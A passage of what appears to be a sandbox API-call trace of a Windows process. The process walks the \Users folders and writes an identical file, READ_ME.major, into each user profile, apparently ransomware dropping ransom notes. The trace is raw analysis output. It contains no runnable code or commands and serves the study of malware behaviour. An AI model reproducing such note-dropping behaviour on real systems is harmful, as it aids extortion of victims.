ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x3ee, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="ReAgentOld.xml", cAlternateFileName="REAGEN~1.XML")) returned 0xffffffff [0129.088] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb98 [0129.088] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0129.088] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0129.089] FindFirstFileW (in: lpFileName="\\Users\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xfed33c2c, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xfed33c2c, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5a2e50 [0129.089] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0129.089] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0129.089] GetLastError () returned 0x5 [0129.089] SetLastError (dwErrCode=0x5) [0129.089] GetLastError () returned 0x5 [0129.089] SetLastError (dwErrCode=0x5) [0129.089] GetLastError () returned 0x5 [0129.089] SetLastError (dwErrCode=0x5) [0129.089] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ec48 [0129.089] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0129.089] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0129.089] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccbc0 [0129.089] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5a3290 [0129.089] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a3290 | out: hHeap=0x570000) returned 1 [0129.089] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40588 [0129.089] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40588 | out: hHeap=0x570000) returned 1 [0129.089] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccbc0 | out: hHeap=0x570000) returned 1 [0129.089] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ec48 | out: hHeap=0x570000) returned 1 [0129.089] FindNextFileW (in: hFindFile=0x5a2e50, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xfed33c2c, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xfed33c2c, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0129.089] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0129.089] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0129.089] GetLastError () returned 0x5 [0129.089] SetLastError (dwErrCode=0x5) [0129.089] GetLastError () returned 0x5 [0129.090] SetLastError (dwErrCode=0x5) [0129.090] GetLastError () returned 0x5 [0129.090] SetLastError (dwErrCode=0x5) [0129.090] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ed28 [0129.090] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed68 [0129.090] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0129.090] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccbc0 [0129.090] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5a2e90 [0129.090] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2e90 | out: hHeap=0x570000) returned 1 [0129.090] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40438 [0129.090] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40438 | out: hHeap=0x570000) returned 1 [0129.090] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccbc0 | out: hHeap=0x570000) returned 1 [0129.090] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ed28 | out: hHeap=0x570000) returned 1 [0129.090] FindNextFileW (in: hFindFile=0x5a2e50, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xd7b844b1, ftCreationTime.dwHighDateTime=0x1d2a02f, ftLastAccessTime.dwLowDateTime=0xd7b844b1, ftLastAccessTime.dwHighDateTime=0x1d2a02f, ftLastWriteTime.dwLowDateTime=0xd7b844b1, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x73ca443f, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0129.090] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0129.090] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0129.090] GetLastError () returned 0x5 [0129.090] SetLastError (dwErrCode=0x5) [0129.090] GetLastError () returned 0x5 [0129.090] SetLastError (dwErrCode=0x5) [0129.090] GetLastError () returned 0x5 [0129.090] SetLastError (dwErrCode=0x5) [0129.090] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccbc0 [0129.090] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c10b8 [0129.090] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccbc0 | out: hHeap=0x570000) returned 1 [0129.090] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c10b8 | out: hHeap=0x570000) returned 1 [0129.090] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eac0 [0129.090] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c11d0 [0129.090] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ea18 [0129.091] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2c0 [0129.091] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d210 [0129.091] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0129.091] GetLastError () returned 0x5 [0129.091] SetLastError (dwErrCode=0x5) [0129.091] GetLastError () returned 0x5 [0129.091] SetLastError (dwErrCode=0x5) [0129.091] GetLastError () returned 0x5 [0129.091] SetLastError (dwErrCode=0x5) [0129.091] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0129.091] CreateFileW (lpFileName="\\Users\\All Users\\READ_ME.major" (normalized: "c:\\users\\all users\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x46c [0129.092] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0129.092] WriteFile (in: hFile=0x46c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0129.093] CloseHandle (hObject=0x46c) returned 1 [0129.093] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0129.093] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d210 | out: hHeap=0x570000) returned 1 [0129.093] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2c0 | out: hHeap=0x570000) returned 1 [0129.093] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea18 | out: hHeap=0x570000) returned 1 [0129.093] FindNextFileW (in: hFindFile=0x5a2e50, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x73ca443f, cFileName="Default", cAlternateFileName="")) returned 1 [0129.093] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0129.093] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0129.093] GetLastError () returned 0x0 [0129.093] SetLastError (dwErrCode=0x0) [0129.093] GetLastError () returned 0x0 [0129.093] SetLastError (dwErrCode=0x0) [0129.093] GetLastError () returned 0x0 [0129.093] SetLastError (dwErrCode=0x0) [0129.093] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eb30 [0129.093] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0129.093] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0129.093] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1090 [0129.094] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5a3290 [0129.094] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a3290 | out: hHeap=0x570000) returned 1 [0129.094] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40600 [0129.094] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40600 | out: hHeap=0x570000) returned 1 [0129.094] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1090 | out: hHeap=0x570000) returned 1 [0129.094] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eb30 | out: hHeap=0x570000) returned 1 [0129.094] FindNextFileW (in: hFindFile=0x5a2e50, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xd7b844b1, ftCreationTime.dwHighDateTime=0x1d2a02f, ftLastAccessTime.dwLowDateTime=0xd7b844b1, ftLastAccessTime.dwHighDateTime=0x1d2a02f, ftLastWriteTime.dwLowDateTime=0xd7b844b1, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1 [0129.094] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0129.094] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0129.094] GetLastError () returned 0x0 [0129.094] SetLastError (dwErrCode=0x0) [0129.094] GetLastError () returned 0x0 [0129.094] SetLastError (dwErrCode=0x0) [0129.094] GetLastError () returned 0x0 [0129.094] SetLastError (dwErrCode=0x0) [0129.094] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1090 [0129.094] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c10b8 [0129.094] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1090 | out: hHeap=0x570000) returned 1 [0129.094] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c10b8 | out: hHeap=0x570000) returned 1 [0129.094] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e938 [0129.094] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1090 [0129.094] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58edd0 [0129.094] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d350 [0129.094] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d380 [0129.094] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0129.094] GetLastError () returned 0x0 [0129.094] SetLastError (dwErrCode=0x0) [0129.094] GetLastError () returned 0x0 [0129.094] SetLastError (dwErrCode=0x0) [0129.094] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0129.094] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0129.094] GetLastError () returned 0x0 [0129.094] SetLastError (dwErrCode=0x0) [0129.094] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0129.094] CreateFileW (lpFileName="\\Users\\Default User\\READ_ME.major" (normalized: "c:\\users\\default user\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x46c [0129.095] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0129.095] WriteFile (in: hFile=0x46c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0129.096] CloseHandle (hObject=0x46c) returned 1 [0129.096] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0129.096] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d380 | out: hHeap=0x570000) returned 1 [0129.097] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d350 | out: hHeap=0x570000) returned 1 [0129.097] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58edd0 | out: hHeap=0x570000) returned 1 [0129.097] FindNextFileW (in: hFindFile=0x5a2e50, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0xc40864ff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7205420a, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Default.migrated", cAlternateFileName="DEFAUL~1.MIG")) returned 1 [0129.097] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0129.097] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0129.097] GetLastError () returned 0x0 [0129.097] SetLastError (dwErrCode=0x0) [0129.097] GetLastError () returned 0x0 [0129.097] SetLastError (dwErrCode=0x0) [0129.097] GetLastError () returned 0x0 [0129.097] SetLastError (dwErrCode=0x0) [0129.097] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ecb8 [0129.097] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ea50 [0129.097] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ecb8 | out: hHeap=0x570000) returned 1 [0129.097] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea50 | out: hHeap=0x570000) returned 1 [0129.097] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ec10 [0129.097] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c10b8 [0129.097] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ef20 [0129.097] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d390 [0129.097] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d380 [0129.097] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0129.097] GetLastError () returned 0x0 [0129.097] SetLastError (dwErrCode=0x0) [0129.097] GetLastError () returned 0x0 [0129.097] SetLastError (dwErrCode=0x0) [0129.097] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7410 [0129.097] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0129.097] GetLastError () returned 0x0 [0129.097] SetLastError (dwErrCode=0x0) [0129.097] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beec8 [0129.097] CreateFileW (lpFileName="\\Users\\Default.migrated\\READ_ME.major" (normalized: "c:\\users\\default.migrated\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x46c [0129.100] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0129.100] WriteFile (in: hFile=0x46c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0129.100] CloseHandle (hObject=0x46c) returned 1 [0129.101] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7410 | out: hHeap=0x570000) returned 1 [0129.101] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d380 | out: hHeap=0x570000) returned 1 [0129.101] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d390 | out: hHeap=0x570000) returned 1 [0129.101] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ef20 | out: hHeap=0x570000) returned 1 [0129.101] FindNextFileW (in: hFindFile=0x5a2e50, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a9bc987, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5f69dfa, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5f69dfa, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0129.101] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0129.101] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0129.101] GetLastError () returned 0x0 [0129.101] SetLastError (dwErrCode=0x0) [0129.101] GetLastError () returned 0x0 [0129.101] SetLastError (dwErrCode=0x0) [0129.101] GetLastError () returned 0x0 [0129.101] SetLastError (dwErrCode=0x0) [0129.101] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c10e0 [0129.101] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c10e0 | out: hHeap=0x570000) returned 1 [0129.101] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ec48 [0129.101] FindNextFileW (in: hFindFile=0x5a2e50, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="FD1HVy", cAlternateFileName="")) returned 1 [0129.101] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0129.101] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0129.101] GetLastError () returned 0x0 [0129.101] SetLastError (dwErrCode=0x0) [0129.101] GetLastError () returned 0x0 [0129.101] SetLastError (dwErrCode=0x0) [0129.101] GetLastError () returned 0x0 [0129.101] SetLastError (dwErrCode=0x0) [0129.101] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c10e0 [0129.101] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1180 [0129.101] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5899c8 [0129.101] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d340 [0129.101] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d350 [0129.102] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0129.102] GetLastError () returned 0x0 [0129.102] SetLastError (dwErrCode=0x0) [0129.102] GetLastError () returned 0x0 [0129.102] SetLastError (dwErrCode=0x0) [0129.102] GetLastError () returned 0x0 [0129.102] SetLastError (dwErrCode=0x0) [0129.102] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0129.102] CreateFileW (lpFileName="\\Users\\FD1HVy\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x46c [0129.102] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0129.102] WriteFile (in: hFile=0x46c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0129.103] CloseHandle (hObject=0x46c) returned 1 [0129.103] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0129.103] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d350 | out: hHeap=0x570000) returned 1 [0129.103] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d340 | out: hHeap=0x570000) returned 1 [0129.103] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5899c8 | out: hHeap=0x570000) returned 1 [0129.103] FindNextFileW (in: hFindFile=0x5a2e50, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x475e19ed, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475e19ed, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Public", cAlternateFileName="")) returned 1 [0129.103] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0129.103] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0129.103] GetLastError () returned 0x0 [0129.103] SetLastError (dwErrCode=0x0) [0129.103] GetLastError () returned 0x0 [0129.103] SetLastError (dwErrCode=0x0) [0129.103] GetLastError () returned 0x0 [0129.103] SetLastError (dwErrCode=0x0) [0129.103] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589b30 [0129.103] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589900 [0129.103] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0129.103] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d340 [0129.103] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d200 [0129.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0129.104] GetLastError () returned 0x0 [0129.104] SetLastError (dwErrCode=0x0) [0129.104] GetLastError () returned 0x0 [0129.104] SetLastError (dwErrCode=0x0) [0129.104] GetLastError () returned 0x0 [0129.104] SetLastError (dwErrCode=0x0) [0129.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0129.104] CreateFileW (lpFileName="\\Users\\Public\\READ_ME.major" (normalized: "c:\\users\\public\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x46c [0129.105] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0129.105] WriteFile (in: hFile=0x46c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0129.105] CloseHandle (hObject=0x46c) returned 1 [0129.106] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0129.106] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d200 | out: hHeap=0x570000) returned 1 [0129.106] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d340 | out: hHeap=0x570000) returned 1 [0129.106] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0129.106] FindNextFileW (in: hFindFile=0x5a2e50, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfed33c2c, ftCreationTime.dwHighDateTime=0x1d50248, ftLastAccessTime.dwLowDateTime=0xfed33c2c, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xfeef92c0, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0129.106] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0129.106] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0129.106] GetLastError () returned 0x0 [0129.106] SetLastError (dwErrCode=0x0) [0129.106] GetLastError () returned 0x0 [0129.106] SetLastError (dwErrCode=0x0) [0129.106] GetLastError () returned 0x0 [0129.106] SetLastError (dwErrCode=0x0) [0129.106] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5899c8 [0129.106] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5899c8 | out: hHeap=0x570000) returned 1 [0129.106] FindNextFileW (in: hFindFile=0x5a2e50, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfed33c2c, ftCreationTime.dwHighDateTime=0x1d50248, ftLastAccessTime.dwLowDateTime=0xfed33c2c, 